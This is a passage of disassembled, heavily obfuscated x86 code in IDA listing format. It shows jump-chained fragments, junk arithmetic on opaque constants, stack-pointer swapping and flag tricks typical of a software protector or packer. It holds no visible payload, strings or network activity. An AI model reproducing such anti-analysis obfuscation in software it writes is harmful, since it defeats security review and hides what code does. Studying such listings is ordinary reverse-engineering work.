; CODE XREF: sdfs____:00593614j sub ecx, 23006140h jmp loc_590B9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EB23 loc_58E950: ; CODE XREF: sub_58EB23+6E93j shl ch, 8 add ch, 0E8h mov dl, ch pop ecx add dl, 0A4h not dl not dl sub dl, 21h sub bl, dl pop edx sub bl, 0A9h sub bl, al jmp loc_591884 ; END OF FUNCTION CHUNK FOR sub_58EB23 ; --------------------------------------------------------------------------- loc_58E970: ; CODE XREF: sdfs____:0058FC32j add dword ptr [esp], 4 jmp loc_591CDF ; --------------------------------------------------------------------------- loc_58E97C: ; CODE XREF: sdfs____:0058E342j mov [esp], eax push esp jmp loc_593A91 ; --------------------------------------------------------------------------- loc_58E985: ; CODE XREF: sdfs____:00597D3Aj push 4A9Eh mov [esp], edx mov edx, esp add edx, 4 push 0D91h mov [esp], eax mov eax, 4 jmp loc_58D875 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_598A21 loc_58E9A7: ; CODE XREF: sub_598A21-B12Dj push edi mov edi, 4 sub ebx, edi pop edi xchg ebx, [esp-8+arg_4] mov esp, [esp-8+arg_4] mov [esp-8+arg_4], ecx push 5F6Eh mov [esp-4+arg_0], edi mov edi, 400h push edi push edx mov edx, 57E92DE4h add [esp+4], edx jmp loc_590598 ; END OF FUNCTION CHUNK FOR sub_598A21 ; --------------------------------------------------------------------------- lodsd push ebx mov ebx, 519864DFh and ebx, 38B73714h sub ebx, 0D9F1BD91h sub esi, ebx pop ebx add esi, eax push 3380h mov [esp], edx mov edx, esp push ebp mov ebp, 8AC1E11h add ebp, 2A4E0B93h xchg ecx, ebp jmp loc_58FA6F ; --------------------------------------------------------------------------- loc_58EA0B: ; CODE XREF: sdfs____:0058C82Cj pop edi jmp loc_593DD6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_596736 loc_58EA11: ; CODE XREF: sub_596736-247Aj mov [esp+0], esi jmp loc_59880E ; END OF FUNCTION CHUNK FOR sub_596736 ; --------------------------------------------------------------------------- loc_58EA19: ; CODE XREF: sdfs____:0058EE99j add esp, 4 sub esp, 4 mov [esp], ebx jmp loc_58BBDE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58EA2A: ; CODE XREF: sub_5917C0+5537j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-8+arg_4] mov esp, [esp-8+arg_4] add edx, 4 push ecx jmp loc_58BDED ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_58EA4A: ; CODE XREF: sdfs____:00591071j sub esp, 4 jmp loc_595E1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58EA52: ; CODE XREF: sub_5917C0-16EEj push dx mov dl, 8Eh add cl, dl jmp loc_593017 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_58EA5D: ; CODE XREF: sdfs____:005939BFj add edi, 5C8240EAh jmp loc_597612 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_596736 loc_58EA68: ; CODE XREF: sub_596736+17D5j mov [esp+0Ch+var_C], ecx mov ecx, 0CDAD8FCh jmp loc_58E151 ; END OF FUNCTION CHUNK FOR sub_596736 ; --------------------------------------------------------------------------- lodsd sub eax, 3720988h push ebp jmp loc_58C6BA ; --------------------------------------------------------------------------- loc_58EA81: ; CODE XREF: sdfs____:0058BA35j add dword ptr [esp], 4 pop edi push ebp mov ebp, 5BF09AAh shr ebp, 5 neg ebp jmp loc_58E2BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_58EA96: ; CODE XREF: sub_5962EB-1D0Cj and eax, esi mov esi, [esp-8+arg_4] sub esp, 4 mov [esp-4+arg_0], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp-4+arg_0] mov esp, [esp-4+arg_0] or edx, eax jmp loc_596A59 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- loc_58EABF: ; CODE XREF: sdfs____:0058C654j jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_58EAC4: ; CODE XREF: sub_591370+1B6j push eax jmp sub_58C71E ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58EACA: ; CODE XREF: sub_591435+798Bj mov ecx, [esp+4+var_4] push ecx push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp+8+var_8] jmp loc_58FBE3 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_58EAE1: ; CODE XREF: sdfs____:00590AA2j mov edi, 3894728Ah xor edi, esi pop esi add ebx, 58AB6DACh add ebx, edi jmp loc_590AE3 ; --------------------------------------------------------------------------- loc_58EAF6: ; CODE XREF: sdfs____:0059732Dj add ecx, esi add ecx, 36993309h pop esi xchg ecx, [esp] jmp loc_59741B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58EB07: ; CODE XREF: sub_591435+24CEj mov ecx, 0C9DDB70Ch add ecx, ebp pop ebp sub ebx, 1E072608h push edi mov edi, 285F5F52h shl edi, 7 jmp loc_59059E ; END OF FUNCTION CHUNK FOR sub_591435 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_58EB23 proc near ; CODE XREF: sub_5BB696-2A357j arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h ; FUNCTION CHUNK AT 0058BAB2 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058C095 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058CBC2 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058D043 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058E950 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0059096C SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00591884 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00591C2C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00592133 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00595386 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005959B0 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00595E2A SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00596683 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00596B45 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00596DB3 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00598DB6 SIZE 00000009 BYTES push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp-0Ch+arg_4] pop esp jmp loc_598DB6 sub_58EB23 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_58EB38: ; CODE XREF: sdfs____:0058D6DBj ; sdfs____:0059115Dj push 0 sub [esp], edi mov edi, [esp] jmp loc_591F8E ; =============== S U B R O U T I N E ======================================= sub_58EB48 proc near ; CODE XREF: sub_596D34-434j push ebp jmp sub_594767 sub_58EB48 endp ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_58EB56: ; CODE XREF: sdfs____:0058CE39j add esp, 4 jmp loc_5959ED ; --------------------------------------------------------------------------- loc_58EB61: ; CODE XREF: sdfs____:00594D0Bj jge loc_58EBA4 add esi, 0AD4ECA24h mov esi, ebx mov cl, bl loc_58EB71: ; CODE XREF: sdfs____:0058D7C7j pop edi xor ebp, eax jmp loc_5905FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58EB79: ; CODE XREF: sub_5917C0+4A63j push 49B7h mov [esp+2+var_4+2], eax jmp loc_58D1DE ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_58EB86: ; CODE XREF: sdfs____:00597847j push ebp mov ebp, 668A2261h and ebp, 66A03D8Ch jmp loc_598613 ; --------------------------------------------------------------------------- loc_58EB97: ; CODE XREF: sdfs____:00597229j mov esi, esp add esi, 4 jmp loc_593714 ; --------------------------------------------------------------------------- loc_58EBA4: ; CODE XREF: sdfs____:loc_58EB61j add esi, 0AD4ECA24h jmp sub_59377D ; --------------------------------------------------------------------------- loc_58EBAF: ; CODE XREF: sdfs____:00593ABCj add edx, 4 push ebx sub esp, 4 mov [esp], esi mov esi, 6830704Fh push eax push 2FD7424Dh jmp loc_590475 ; --------------------------------------------------------------------------- loc_58EBCF: ; CODE XREF: sdfs____:005907ACj xor edi, [esp] jmp loc_5949B6 ; --------------------------------------------------------------------------- loc_58EBD7: ; CODE XREF: sdfs____:005932C1j mov ecx, [esp] push 77EAh mov [esp], ebp mov ebp, esp add ebp, 4 push edi mov edi, 4 add ebp, edi pop edi xchg ebp, [esp] mov esp, [esp] push ecx mov ecx, 2 add eax, ecx pop ecx jmp loc_595B19 ; --------------------------------------------------------------------------- loc_58EC07: ; CODE XREF: sdfs____:0058E3B7j pop esi push esi mov esi, 0C6F164Ch jmp loc_58DE78 ; =============== S U B R O U T I N E ======================================= sub_58EC13 proc near ; CODE XREF: sub_591435+721j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058D38A SIZE 00000043 BYTES ; FUNCTION CHUNK AT 00594206 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00595B37 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00597726 SIZE 00000008 BYTES sub esp, 4 jmp loc_597726 sub_58EC13 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BC4E loc_58EC1B: ; CODE XREF: sub_58BC4E+94C5j and ebp, 4A1E2A72h dec ebp shl ebp, 5 xor ebp, 28553C5Bh add ebp, 0E042FB0Bh add eax, ebp mov ebp, [esp+8+var_8] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_598A18 ; END OF FUNCTION CHUNK FOR sub_58BC4E ; --------------------------------------------------------------------------- loc_58EC46: ; CODE XREF: sdfs____:005966E5j sub edi, 35A4700Ch xor edi, 0D453A3F3h xor edx, edi jmp loc_58E93D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58EC59: ; CODE XREF: sub_594228-70EDj add ebx, 70551150h push 7CD1h mov [esp+1Eh+var_20+2], eax jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_594228 ; =============== S U B R O U T I N E ======================================= sub_58EC6C proc near ; CODE XREF: sub_5962EB-4A2Aj ; sdfs____:00594FA2j var_8 = dword ptr -8 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00591CED SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00592ACF SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00597E3F SIZE 00000010 BYTES push ebp jmp loc_592ACF sub_58EC6C endp ; --------------------------------------------------------------------------- loc_58EC72: ; CODE XREF: sdfs____:0058E070j push ecx mov ecx, 63DB3395h and ecx, 3AFA0B18h add ecx, 7D32047Fh neg ecx shl ecx, 1 sub ecx, 0BFE7F0DEh add edx, ecx pop ecx push esi jmp loc_593B16 ; --------------------------------------------------------------------------- loc_58EC97: ; CODE XREF: sdfs____:0059065Ej push cx push 66F7h mov [esp], ebx jmp loc_58EF03 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_58ECA6: ; CODE XREF: sub_5987BC-B514j pop ecx push ecx jmp loc_5910EA ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- loc_58ECAD: ; CODE XREF: sdfs____:00597DCBj push eax push 7D0Dh mov [esp], ebp mov ebp, 2F315FC8h xor ebp, 2DDA0303h jnz loc_5923B0 jmp loc_592D52 ; --------------------------------------------------------------------------- mov ecx, [esp] push ecx mov dl, dl mov al, 75h loc_58ECD4: ; CODE XREF: sdfs____:00590738j jmp loc_590B81 ; --------------------------------------------------------------------------- loc_58ECD9: ; CODE XREF: sdfs____:00597599j push edx mov edx, 4 add edi, edx pop edx push edx mov edx, 4 jmp loc_597A49 ; --------------------------------------------------------------------------- loc_58ECED: ; CODE XREF: sdfs____:0058C42Aj pop ecx neg bl mov dh, bl mov ebx, [esp] add esp, 4 or dh, 86h shl dh, 6 xor dh, 9Bh shr dh, 3 xor dh, 45h sub al, dh pop edx add al, 2Bh jmp loc_5970B9 ; --------------------------------------------------------------------------- loc_58ED14: ; CODE XREF: sdfs____:00590A87j add bl, 0C2h jmp loc_58DCB3 ; --------------------------------------------------------------------------- loc_58ED1C: ; CODE XREF: sdfs____:loc_591BE6j or ebx, 1A3069E9h jnz loc_58C31C jmp loc_58F414 ; --------------------------------------------------------------------------- add esp, 4 and al, 1 mov ecx, ebp ; START OF FUNCTION CHUNK FOR sub_591370 loc_58ED34: ; CODE XREF: sub_591370-17C0j push edi push esp mov edi, [esp+14h+var_14] add esp, 4 push ebx jmp loc_598A0A ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58ED45: ; CODE XREF: sub_5917C0+47A8j push edi mov edi, 5A191133h sub edi, 6A2F1903h not edi xor edi, 0D94FC86Fh xor ebx, edi pop edi mov [edx+38h], ebx pop ebx jmp sub_59214E ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58ED65: ; CODE XREF: sub_591435+74FBj sub edi, 16B3AD8Fh add ebx, 65010FB7h add ebx, edi sub ebx, 65010FB7h mov edi, [esp+1Ch+var_1C] jmp loc_593A67 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_58ED81: ; CODE XREF: sdfs____:00591E9Dj sub ecx, 2F8E1074h add ecx, eax jmp loc_58E61B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58ED8E: ; CODE XREF: sub_5917C0-2837j pop esp mov word ptr [esp-6+arg_0+2], ax jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58ED98: ; CODE XREF: sub_591435-2F0j add ecx, 564A3BC2h shr ecx, 4 shl ecx, 3 jp loc_58D79E sub ecx, 4C094209h jnp loc_593B51 xor ecx, 0DB34B7B1h mov edi, ecx pop ecx sub edi, 652F2962h add ecx, edi pop edi add ecx, 4 push ecx push [esp+18h+var_14] pop ecx pop [esp+18h+var_18] pop esp push 0B74h jmp loc_591D65 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_58EDE2: ; CODE XREF: sdfs____:0058D4FBj mov ah, ch mov dh, ah pop eax pop ecx mov ch, dh pop edx mov bl, [esp+4] mov [esp+4], ch pop ecx jmp loc_58FA05 ; --------------------------------------------------------------------------- loc_58EDF9: ; CODE XREF: sdfs____:0058E0DEj pop esp push ecx mov ch, 0B6h add al, 0B4h push ecx push eax mov al, 3Eh jmp loc_58EF22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58EE08: ; CODE XREF: sub_594228-21D0j sub ebx, edx add ebx, 614D33B2h mov edx, [esp+1Eh+var_20+2] add esp, 4 xchg ebx, [esp+1Ah+var_1C+2] mov esp, [esp+1Ah+var_1C+2] mov [esp+1Ah+var_1C+2], ecx mov ecx, 2012BA9Eh sub eax, ecx pop ecx push edi push 41CD7A05h mov edi, [esp+1Eh+var_20+2] jmp loc_591122 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_58EE38: ; CODE XREF: sdfs____:0058D866j mov [esp], ecx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_58C1C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58EE50: ; CODE XREF: sub_5917C0+1B3Ej push ecx push small 6576h mov [esp+0], dx jmp loc_58DD5F ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_58EE5E: ; CODE XREF: sdfs____:0058F658j add ecx, esi mov esi, [esp] add esp, 4 push edi mov edi, 4 add ecx, edi pop edi jmp loc_58F6E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_58EE77: ; CODE XREF: sub_591370-323Aj shl eax, 7 add eax, 0A6D0FF4h jno loc_59025A jmp loc_594269 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- neg ecx neg ecx push ebx loc_58EE8F: ; CODE XREF: sdfs____:005914A3j add dword ptr [esp], 4 mov esi, [esp] jmp loc_58EA19 ; --------------------------------------------------------------------------- loc_58EE9E: ; CODE XREF: sdfs____:0059141Ej ; sdfs____:00595400j push 10CBh mov [esp], ecx push esi mov esi, 569E16FFh sub esi, 4C776A6Bh jmp loc_594A9D ; --------------------------------------------------------------------------- loc_58EEB7: ; CODE XREF: sdfs____:0058D240j ; sdfs____:loc_59759Ej or ebp, 1C7F6292h add ebp, 2AEB40C3h push ecx mov ecx, 78955448h add ebp, ecx pop ecx add edi, 1861431Dh add edi, ebp sub edi, 1861431Dh pop ebp push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] jmp loc_58E6E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58EEEC: ; CODE XREF: sub_594228+4986j pop eax add ecx, 0E228B5D2h mov ebp, ecx mov ecx, [esp+1Ah+var_1C+2] add esp, 4 jmp loc_58C1F4 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_58EF03: ; CODE XREF: sdfs____:0058ECA1j mov bl, 0FDh mov ch, 0B5h sub ch, bl pop ebx add al, 0E5h sub al, ch push ebx mov bh, 0E5h jmp loc_591C87 ; --------------------------------------------------------------------------- loc_58EF16: ; CODE XREF: sdfs____:00595381j pop esi pop dword ptr [esp] mov esp, [esp] jmp loc_597901 ; --------------------------------------------------------------------------- loc_58EF22: ; CODE XREF: sdfs____:0058EE03j mov cl, al pop eax add al, cl push dword ptr [esp] pop ecx add esp, 4 add al, ch sub al, 3Eh jmp loc_58D312 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 jmp loc_5948D3 ; --------------------------------------------------------------------------- loc_58EF49: ; CODE XREF: sdfs____:00592202j pop esp div ecx jmp loc_58F3CC ; --------------------------------------------------------------------------- loc_58EF51: ; CODE XREF: sdfs____:00596FD6j xchg edx, [esp] mov esp, [esp] mov ax, [esp] sub esp, 4 mov [esp], ecx jmp loc_58FC29 ; --------------------------------------------------------------------------- lodsb add al, 0Eh add al, 3Eh add al, 93h jmp loc_596CFC ; --------------------------------------------------------------------------- loc_58EF75: ; CODE XREF: sdfs____:0058F7D1j push small 5D87h mov [esp], dx push eax mov ah, 0C1h jmp loc_592346 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58EF85: ; CODE XREF: sub_5917C0+4D88j pop ebx xchg ecx, [esp-4+arg_0] jmp loc_58ED8E ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_58EF8E: ; CODE XREF: sdfs____:0058CAF4j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp shl dl, 6 jmp loc_58DA4D ; --------------------------------------------------------------------------- loc_58EFA5: ; CODE XREF: sdfs____:0058D6CDj pop ecx add eax, 2 push 65AAh jmp loc_58F2D0 ; --------------------------------------------------------------------------- loc_58EFB3: ; CODE XREF: sdfs____:0058C9B5j push ecx push edx push 127C3560h pop edx sub edx, 0B8ABC182h mov ecx, edx pop edx jmp loc_59488B ; --------------------------------------------------------------------------- loc_58EFC9: ; CODE XREF: sdfs____:00591BCAj add esi, ebp pop ebp push 786h mov [esp], eax push 2 pop eax add esi, 6EE74627h add esi, eax sub esi, 6EE74627h pop eax xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp btr [esp], ax pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58EFFE: ; CODE XREF: sub_591435-799j push esi jmp loc_5967E3 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FE99 loc_58F004: ; CODE XREF: sub_58FE99+62F9j jg loc_58BC09 jmp loc_58BEB9 ; END OF FUNCTION CHUNK FOR sub_58FE99 ; --------------------------------------------------------------------------- loc_58F00F: ; CODE XREF: sdfs____:00597BCCj mov esp, [esp] jmp loc_591EF7 ; --------------------------------------------------------------------------- loc_58F017: ; CODE XREF: sdfs____:00596388j not bh push edx mov dl, 8Eh dec dl jg loc_58C705 xor dl, 8Dh add dl, 0CDh ja loc_59393C not dl xor dl, 21h dec dl sub dl, 0E5h sub dl, 2Eh mov al, 5Dh loc_58F03F: ; CODE XREF: sdfs____:0058D2C1j add [esp+4], ebp pop ebp push 396Fh mov [esp], ebx mov ebx, 2A1F56ADh add dword ptr [esp+4], 44CA79BEh sub [esp+4], ebx sub dword ptr [esp+4], 44CA79BEh jmp loc_58F13F ; --------------------------------------------------------------------------- loc_58F06A: ; CODE XREF: sdfs____:00597ECFj mov edx, [esp] add esp, 4 push ecx mov ecx, esp push 56FAh mov [esp], ebp push 7698h mov [esp], ebx mov ebx, 618D4FADh jmp loc_590D33 ; --------------------------------------------------------------------------- loc_58F08D: ; CODE XREF: sdfs____:0058F85Dj inc esi jmp loc_58E0F7 ; --------------------------------------------------------------------------- loc_58F093: ; CODE XREF: sdfs____:00590D54j pop esp bt [esp], ax pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_58F09F: ; CODE XREF: sdfs____:0058BDCBj push edx sub esp, 4 jmp loc_58F558 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58F0AB: ; CODE XREF: sub_5917C0+63F6j inc ebx jle loc_596E44 push edi jmp loc_595EF0 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- add esp, 4 push ecx push edi loc_58F0C0: ; CODE XREF: sdfs____:0058DB05j mov dl, 11h dec dl xor dl, 0A9h push ebx mov bh, 0C0h push cx mov ch, bh neg ch mov bh, ch mov cx, [esp] add esp, 2 jmp loc_58FF13 ; --------------------------------------------------------------------------- loc_58F0DE: ; CODE XREF: sdfs____:005924FCj push ecx mov ch, 0CDh sub al, ch pop ecx sub al, dl add al, 0CDh push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 sub esp, 4 mov [esp], ebp jmp loc_58E28D ; --------------------------------------------------------------------------- loc_58F105: ; CODE XREF: sdfs____:005955D4j mov ecx, 10B24030h inc ecx inc ecx inc ecx sub ecx, 10B2402Fh mov esi, ecx pop ecx sub edi, 532F53FFh add edi, esi jmp loc_5909AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BC4E loc_58F123: ; CODE XREF: sub_58BC4E+CDCEj push esi mov esi, eax mov edi, esi pop esi pop eax and eax, edi mov edi, [esp+4+var_4] jmp loc_5903A1 ; END OF FUNCTION CHUNK FOR sub_58BC4E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59576E loc_58F134: ; CODE XREF: sub_59576E-50D5j push cx mov cx, 0F23h jmp loc_5927B7 ; END OF FUNCTION CHUNK FOR sub_59576E ; --------------------------------------------------------------------------- loc_58F13F: ; CODE XREF: sdfs____:0058F065j pop ebx jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_58F145: ; CODE XREF: sub_5962EB+233Cj mov esi, 0F06C41h inc esi and esi, 4F995E34h jmp loc_58FB35 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- loc_58F156: ; CODE XREF: sdfs____:005905D2j xor [esp], ax pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_58F160: ; CODE XREF: sdfs____:0058DFEDj ; sub_59587A-4B15j pop eax add edi, ebp jmp loc_58F706 ; END OF FUNCTION CHUNK FOR sub_59587A ; --------------------------------------------------------------------------- loc_58F168: ; CODE XREF: sdfs____:00598A6Bj or ebp, 7B364A86h jmp loc_591B8B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58F173: ; CODE XREF: sub_591435-3F2Bj mov edx, esp add edx, 4 add edx, 4 xor edx, [esp+10h+var_10] xor [esp+10h+var_10], edx xor edx, [esp+10h+var_10] pop esp jmp loc_591B52 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_58F190: ; CODE XREF: sdfs____:005916E3j not esi sub esi, 0B4C39AD8h sub eax, esi pop esi sub eax, ebp add eax, 79CD579Ch mov ebp, [esp] add esp, 4 add eax, 0AE64377h jmp loc_597129 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5985AE loc_58F1B5: ; CODE XREF: sub_5985AE-419Ej add eax, 3A127CDCh mov edi, [esp-8+arg_4] add esp, 4 shl eax, cl push 5A84h jmp loc_591723 ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58F1CF: ; CODE XREF: sub_591435+30D9j sub ecx, 237813C1h push edx push edi mov edi, 543D5A10h mov edx, 0C2550A80h sub edx, edi mov edi, [esp+14h+var_14] add esp, 4 jmp loc_58FA91 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_58F1EE: ; CODE XREF: sdfs____:0058DF87j add ebx, ebp pop ebp add ebx, 2 xchg ebx, [esp] jmp loc_58E592 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58F1FC: ; CODE XREF: sub_594228-6D9Fj push 1B41h mov [esp+0], ebp push edx push esi push 288C2884h pop esi add esi, 3FE85442h jmp loc_592AFB ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_58F217: ; CODE XREF: sub_5987BC-A565j pop esi xor eax, esi xor esi, eax xor eax, esi jmp sub_592BDC ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- loc_58F223: ; CODE XREF: sdfs____:00593895j mov esp, [esp] mov eax, [esp] push 7D86h jmp loc_593FCC ; --------------------------------------------------------------------------- loc_58F233: ; CODE XREF: sdfs____:00593C90j push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], edx mov edx, esp push 7D8Fh mov [esp], eax mov eax, 4 jmp loc_58DFF2 ; --------------------------------------------------------------------------- loc_58F25C: ; CODE XREF: sdfs____:0058F4C8j push ebx mov bh, 9 jmp loc_59754A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58F264: ; CODE XREF: sub_591435+27DCj pop ebx mov ecx, [esp+1Ch+var_1C] add esp, 4 jmp loc_58E1EA ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_58F270: ; CODE XREF: sdfs____:0058D895j sub edi, esi pop esi jmp loc_593D6A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58F278: ; CODE XREF: sub_5917C0+2807j add ecx, 4 push ebx mov ebx, 0DBD01D5h jmp loc_58F2A7 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_58F289: ; CODE XREF: sdfs____:0058C470j mov edx, 74BC6FCCh add edx, 8B439038h add ecx, 6BE618EEh add ecx, 33E869A6h add ecx, edx jmp loc_58CF36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58F2A7: ; CODE XREF: sub_5917C0-253Cj dec ebx push 3316h mov [esp+8+var_8], ebx not [esp+8+var_8] pop ebx push edx mov edx, 38A651B0h sub ebx, edx pop edx sub ebx, 0B99CAC79h add ecx, 7AE0398Ah sub ecx, ebx jmp loc_596F6A ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_58F2D0: ; CODE XREF: sdfs____:0058EFAEj mov [esp], ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_591581 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CDE6 loc_58F2E6: ; CODE XREF: sub_58CDE6+555Bj xchg eax, [esp-8+arg_4] jmp loc_5904DA ; END OF FUNCTION CHUNK FOR sub_58CDE6 ; --------------------------------------------------------------------------- loc_58F2EE: ; CODE XREF: sdfs____:00593E54j push edi mov edi, 187B14BBh dec edi add edi, 2C545C80h and edi, 7BB4E74h jmp loc_58D6D2 ; --------------------------------------------------------------------------- loc_58F306: ; CODE XREF: sdfs____:0058DADCj mov esp, [esp] jmp loc_590E7B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58F30E: ; CODE XREF: sub_594228-7C7Cj ; sdfs____:0059072Bj push edx mov edx, 232017D8h push ebx mov ebx, 0 push edi mov edi, 298E010Fh sub edi, 1825D093h jmp loc_590EB5 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_58F32B: ; CODE XREF: sdfs____:00590ACCj push eax mov eax, esp jmp loc_594F76 ; --------------------------------------------------------------------------- loc_58F333: ; CODE XREF: sdfs____:005921C5j push esi sub 